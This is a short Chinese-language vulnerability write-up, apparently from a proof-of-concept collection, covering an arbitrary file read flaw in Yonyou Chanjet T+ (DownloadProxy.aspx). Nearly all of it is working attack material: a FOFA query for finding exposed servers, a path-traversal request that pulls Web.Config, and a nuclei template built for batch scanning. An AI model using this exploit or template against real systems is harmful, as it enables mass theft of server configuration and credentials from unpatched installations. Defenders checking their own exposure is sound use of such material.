漏洞描述
用友 畅捷通T+ DownloadProxy.aspx文件存在任意文件读取漏洞，攻击者通过漏洞可以获取服务器上的敏感文件
漏洞复现
fofa语法：app="畅捷通-TPlus"
登录页面如下
POC：
/tplus/SM/DTS/DownloadProxy.aspx?preload=1&Path=../../Web.Config
nuclei批量yaml文件
id: yonyou_changjietong_DownloadProxy_readfile
info:
name: yonyou_changjietong_DownloadProxy_readfile
author: bjx
severity: high
tags: yonyou,changjietong,yonyouoa,oa
requests:
- method: GET
path:
- "{{BaseURL}}/tplus/SM/DTS/DownloadProxy.aspx?preload=1&Path=../../Web.Config"
matchers-condition: and
matchers:
- type: word
words:
- "SYSTEMDB"
- "ProductInfo"
- "<?xml"
part: body
condition: and
- type: status
status:
- 200